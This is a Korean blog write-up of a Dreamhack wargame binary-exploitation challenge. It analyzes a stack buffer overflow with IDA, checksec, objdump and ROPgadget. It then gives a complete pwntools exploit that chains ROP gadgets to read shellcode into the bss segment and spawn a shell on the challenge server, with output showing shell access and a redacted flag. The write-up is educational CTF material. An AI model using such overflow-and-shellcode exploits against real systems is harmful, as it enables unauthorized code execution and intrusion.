드디어 마지막 문제!
오랜만에 코드 없는 문제를 본다.
문제 파일을 다운로드 및 압축을 해제하면 두개의 파일이 나온다.
사실 코드가 없기에 ida와 같이 디스어셈블러 프로그램 사용법을 먼저 익힌 후 푸는 것이 맞는 것 같다.
사실 디스어셈블러 프로그램은 코드를 해석하기 편하게 만들어놓은 것이라 어셈블리어를 알고 있다면 굳이 사용할 필요는 없다.
개인적으로 어셈블리어 실력이 그렇게 좋지 않기 때문에, 핸드레이까지는 어렵고, 어느정도 해석만 가능한 수준이라 시간이 너무 오래 걸려 ida를 쓰기로 했다.
우선 varidator_dist 파일의 보안 기법을 확인.
┌──(kali㉿kali)-[~/Downloads]
└─$ checksec validator_dist
[*] '/home/kali/Downloads/validator_dist'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
특별히 걸려있는 것은 없다.
이제 ida로 열어봤다.
main 함수는 간단하게 read로 값을 받아들인 다음 validate 함수를 불러오는 역할만 한다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [rsp+0h] [rbp-80h] BYREF
memset(s, 0, 0x10uLL);
read(0, s, 0x400uLL);
validate(s, 128LL);
return 0;
}
특이한점은, s라는 변수에 0x400 byte의 값을 받아들이지만, 사용하는 값은 128 byte이다.
validate 변수는 받아들인 값을 이리저리 체크한다.
__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
if ( *(_BYTE *)((int)i + a1) != correct[i] )
exit(0);
}
for ( j = 11; a2 > j; ++j )
{
if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
exit(0);
}
return 0LL;
}
우선 첫번째 for 문에서와 같이 10번의 비교 연산을하며, s 변수의 값을 처음부터 9까지 correct 변수와 같은지 확인하며, 다르면 exit로 종료해버린다.
collect 변수의 값을 확인해보면
.data:0000000000601040 correct db 'DREAMHACK!',0 ; DATA XREF: validate+36↑o
DREAMHACK! 이다.
두번째 for 문에서는 s 변수의 11번째 값부터 128번째 값까지 비교하며, 현재 값이 다음 값 + 1과 같은지 비교해서 다르면 exit로 종료해버린다.
이를 종합해보면
입력 받는 값의 크기는 0x400 byte이나 변수의 크기는 128 byte이기에 stack overflow가 발생하며,
128 byte의 1~10번째 값은 DREAMHACK! 이어야하고, 11번째 값은 아무 값이나 상관 없지만, 12번째부터 128번째 값은 현재 값이 다음 값보다 1 더 커야한다.
앞의 값보다 뒤의 값이 1 더 커야한다는 의미는 ascii code를 생각하면 된다.
조금 특이한점은 validator_server file인데 정말 특별한 내용이 없고, dist와 동일한 코드를 가지고 있다.
우선 dist에서 분석한 내용을 바탕으로 main의 return address까지 무사히 도착하는 공격 코드를 작성해보면 아래와 같다.
from pwn import *
p = process('./validator_dist')
pay = b'DREAMHACK!'
for i in range(130-len(pay),1,-1):
pay += i.to_bytes(1,byteorder='little')
p.send(pay)
p.interactive()
128 byte의 s 변수를 모두 채워 sfp 직전까지 채웠기에 sfp, ret 변조만 남았다.
어디로 return하는 것이 좋을까.
현재 ASLR이 걸려있을 것으로 예상되기에 브루트포스가 가능 하지만 그 시간이 오래 걸릴 것으로 예상되기에 포기.
더불어 memory leak이 불가능하여 lib 파일 참조는 불가능하다.
그러므로 고정된 주소 영역을 사용해야하는데, 이를 찾아보자.
파일의 메모리 구조를 확인하는 방법은 아래와 같다.
┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -h ./validator_dist
./validator_dist: file format elf64-x86-64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001c 0000000000400238 0000000000400238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.ABI-tag 00000020 0000000000400254 0000000000400254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 0000000000400274 0000000000400274 00000274 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.hash 0000001c 0000000000400298 0000000000400298 00000298 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .dynsym 00000090 00000000004002b8 00000000004002b8 000002b8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynstr 00000049 0000000000400348 0000000000400348 00000348 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .gnu.version 0000000c 0000000000400392 0000000000400392 00000392 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version_r 00000020 00000000004003a0 00000000004003a0 000003a0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .rela.dyn 00000030 00000000004003c0 00000000004003c0 000003c0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.plt 00000048 00000000004003f0 00000000004003f0 000003f0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000017 0000000000400438 0000000000400438 00000438 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000040 0000000000400450 0000000000400450 00000450 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .text 00000272 0000000000400490 0000000000400490 00000490 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .fini 00000009 0000000000400704 0000000000400704 00000704 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .rodata 00000004 0000000000400710 0000000000400710 00000710 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
15 .eh_frame_hdr 0000004c 0000000000400714 0000000000400714 00000714 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame 00000140 0000000000400760 0000000000400760 00000760 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .init_array 00000008 0000000000600e10 0000000000600e10 00000e10 2**3
CONTENTS, ALLOC, LOAD, DATA
18 .fini_array 00000008 0000000000600e18 0000000000600e18 00000e18 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .dynamic 000001d0 0000000000600e20 0000000000600e20 00000e20 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .got 00000010 0000000000600ff0 0000000000600ff0 00000ff0 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got.plt 00000030 0000000000601000 0000000000601000 00001000 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 0000001b 0000000000601030 0000000000601030 00001030 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000005 000000000060104b 000000000060104b 0000104b 2**0
ALLOC
24 .comment 00000029 0000000000000000 0000000000000000 0000104b 2**0
CONTENTS, READONLY
여기서 gdb로 쓰기 가능한 영역을 찾아보면 아래와 같은데,
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
...
0x00000000601000 0x00000000602000 0x00000000001000 rw- /home/kali/Downloads/validator_dist
0x007ffff7dd6000 0x007ffff7dd8000 0x00000000000000 rw-
...
0x007ffff7fa9000 0x007ffff7fb4000 0x00000000000000 rw-
...
0x007ffff7ffd000 0x007ffff7fff000 0x00000000030000 rw- /usr/lib/x86_64-linux-gnu/ld-2.33.so
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rwx [stack]
0x007fff~의 위치는 ASLR로 주소가 변경되는 위치이기에 쓸 수 없다고 생각하는 것이 좋다.
그러므로 bss 영역에 shellcode를 쓰고, 여기로 return 해보자.
해당 영역에 shellcode를 쓰기 위해서는 read 함수를 사용해야하고, 함수 사용을 위해서는 gadget들이 필요하다.
앞서 여러번 했던 것과 같이 read 함수는 3개의 인자를 가지기에 pop rdi, pop rsi, pop rdx의 gadget이 필요하다.
참고로 64bit에서 인자 참조 순서는 64bit system call table을 참조하자.
gadget부터 확인.
┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary ./validator_dist | grep rdi
0x00000000004006f3 : pop rdi ; ret
0x000000000040028a : stosb byte ptr [rdi], al ; imul edi, ebx, 0x608bb8c8 ; retf 0x8f08
┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary ./validator_dist | grep rsi
0x00000000004006f1 : pop rsi ; pop r15 ; ret
┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary ./validator_dist | grep rdx
0x0000000000400576 : mov dword ptr [rbp + 0x48], edx ; mov ebp, esp ; pop rdx ; ret
0x0000000000400579 : mov ebp, esp ; pop rdx ; ret
0x0000000000400578 : mov rbp, rsp ; pop rdx ; ret
0x000000000040057b : pop rdx ; ret
0x0000000000400577 : push rbp ; mov rbp, rsp ; pop rdx ; ret
0x0000000000400445 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
앞선 다른 문제에서 rdx gadget은 찾기 힘들다고 이야기했는데, 사실 문제에서 pop rdx를 포함한 함수를 가지고 있다. (hint를 준 것과 마찬가지)
gef➤ info functions
...
0x0000000000400577 gadget
0x0000000000400580 validate
0x000000000040063a main
...
gef➤ disas gadget
Dump of assembler code for function gadget:
0x0000000000400577 <+0>: push %rbp
0x0000000000400578 <+1>: mov %rsp,%rbp
0x000000000040057b <+4>: pop %rdx
0x000000000040057c <+5>: ret
0x000000000040057d <+6>: nop
0x000000000040057e <+7>: pop %rbp
0x000000000040057f <+8>: ret
더불어 read 함수가 끝난 다음에 다시 한번 bss 영역으로 return 되어야하는데, 이 또한 gadget 함수에 포함되어있으니 이를 사용하면 되겠다.
이제 이를 이용해서 bss 영역에 shellcode를 작성하고 여기로 return 하는 코드를 작성해보자.
from pwn import *
#p = process('./validator_dist')
p = remote('host3.dreamhack.games',21959)
e = ELF('./validator_dist')
pay = b'DREAMHACK!'
for i in range(130-len(pay),1,-1):
pay += i.to_bytes(1,byteorder='little')
shellcode = asm(shellcraft.amd64.sh(),arch='amd64')
pay += b'\x90'*7 #for sfp
bss = 0x60104b
rdiret = 0x4006f3
rsir15ret = 0x4006f1
rdxret = 0x40057b
rbpret = 0x40057e
#insert shellcode to bss
#read(0,bss,0x500)
pay += p64(rdiret) + p64(0)
pay += p64(rsir15ret) + p64(bss) + p64(0)
pay += p64(rdxret) + p64(0x500)
pay += p64(e.plt['read'])
#return to bss
pay += p64(bss)
p.send(pay)
#send read() data
pay2 = b'\x90'*0x100 + shellcode
p.send(pay2)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21959: Done
[*] '/home/kali/Downloads/validator_dist'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
[*] Switching to interactive mode
$ id
uid=1000(validator) gid=1000(validator) groups=1000(validator)
$ cat flag
DH{----------#플래그는 삭제}
이제 advance로!
'Wargame > Dreamhack' 카테고리의 다른 글
seccomp (0) | 2022.08.07 |
---|---|
Bypass SECCOMP-1 (0) | 2022.08.05 |
cmd_center (0) | 2022.08.04 |
sint (0) | 2022.08.04 |
tcache_dup2 (0) | 2022.08.03 |